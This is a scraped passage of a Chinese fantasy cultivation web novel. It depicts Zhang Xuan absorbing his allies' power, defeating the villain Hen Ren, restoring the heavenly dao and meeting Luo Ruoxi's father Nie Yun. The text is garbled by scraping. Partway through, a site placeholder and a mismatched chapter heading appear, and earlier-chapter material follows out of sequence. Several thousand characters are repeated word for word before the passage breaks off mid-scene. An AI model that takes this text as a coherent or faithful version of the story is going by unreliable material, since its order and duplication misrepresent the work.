洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第二十六章 春花宴（2） 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 